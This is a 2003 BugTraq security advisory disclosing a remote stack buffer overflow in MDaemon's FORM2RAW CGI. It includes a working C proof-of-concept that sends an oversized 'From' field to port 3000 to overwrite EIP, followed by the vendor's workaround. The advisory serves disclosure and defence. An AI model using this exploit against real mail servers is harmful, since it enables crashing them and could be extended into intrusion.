BugTraq
[Hat-Squad] Remote buffer overflow in Mdaemon Raw message Handler Dec 29 2003 07:57PM
Hat-Squad Security Team (service hat-squad com)


Hat-Squad Security Team Advisory

http://www.hat-squad.com

Product: Alt-N Technologies Mdaemon Mail Server

Version: MDaemon 6.85 and Below to 6.52

Vulnerability: Remote buffer overflow in Raw Message Handler

Release Date: 12/29/2003

Vendor Status:

Informed on 29 Dec 2003

Quick response on 29 Dec 2003

Overview:

FORM2RAW.exe is a CGI which allows users to send email using MDaemon from a web. It processes the fields of an HTML form and creates a RAW message File in the Raw queue Directory of MDaemon mail server. This file then will be proccessed and qeued for delivery by MDaemon.

According to the Help file "By default, MDaemon 6.52 or higher will not send emails created by Form2Raw unless the email address passed in the 'from' tag (see below) is a valid account on the MDaemon server.If you want to disable this behavior you can set the FromCheck=No in FORM2RAW.INI file".

Problem:

Sending more than 153 bytes in the "From" field to FROM2Raw.exe creates a Raw File that when proccessed by mdaemon will cause a Stack buffer overflow.The EIP register will be overwritten when From Field length was 249 bytes.

The FORM2RAW.exe is accessible by default from WorlClient Web server listening on Port 3000.

---------------------Exploit:

#include <windows.h>

#include <stdio.h>

#include <winsock.h>

#pragma comment (lib,"ws2_32")

#define RET 0x1dff160

#define PORT 3000

void main(int argc, char **argv)

{

SOCKET s = 0;

WSADATA wsaData;

if(argc < 2)

{

fprintf(stderr, "MDaemon form2raw.cgi Exploit Written by Behrang Fouladi, " "\nUsage: %s <target ip> \n", argv[0]);

printf("%d",argc);

exit(0);

}

WSAStartup(MAKEWORD(2,0), &wsaData);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(INVALID_SOCKET != s)

{

SOCKADDR_IN anAddr;

anAddr.sin_family = AF_INET;

anAddr.sin_port = htons(PORT);

anAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

if(0 == connect(s, (struct sockaddr *)&anAddr, sizeof(struct sockaddr)))

{

static char buffer[500];

int i;

memset(buffer,0,sizeof(buffer));

strcpy(buffer,"get /form2raw.cgi?From=");

for(i=0;i<244;i++) {

strcat(buffer,"a");

}

strcat(buffer,"bbbb"); //Overwrites EIP

strcat(buffer,"c"); //One byte left after ESP :-(

strcat(buffer,"&To=me (at) hell (dot) org [email concealed]&Subject=hi&Body=hello HTTP/1.0\r\n\r\n");

send(s, buffer, strlen(buffer), 0);

printf("Exploit Sent.");

}

else printf("Error Connecting to The Target.\n");

closesocket(s);

}

WSACleanup();

}

---------------------------------------

Vendor Response:

Robin Edwards <support (at) helpdesk.altn (dot) com [email concealed]> Wrote:

We have had a similar vulnerability report with Form2Raw and hope to release a patch soon. In the meantime it is easy to disable Form2Raw by following the instructions below:

-----

To disable FORM2RAW open the

\MDaemon\WorldClient\WorldClient.ini file with Notepad and

delete the following two lines:

CgiBase2=/Form2Raw.cgi

CgiFile2=C:\MDaemon\CGI\Form2Raw.exe

Afterward, restart WorldClient to register the change.

-----

Credits:

This Vulnerability has been Discoverd By Pejamn Davarzani (pejman (at) hat-squad (dot) com [email concealed]) and Behrang Fouladi(behrang (at) hat-squad (dot) com [email concealed])

Original advisory could be found at:

http://hat-squad.com/bugreport/mdaemon-raw.txt

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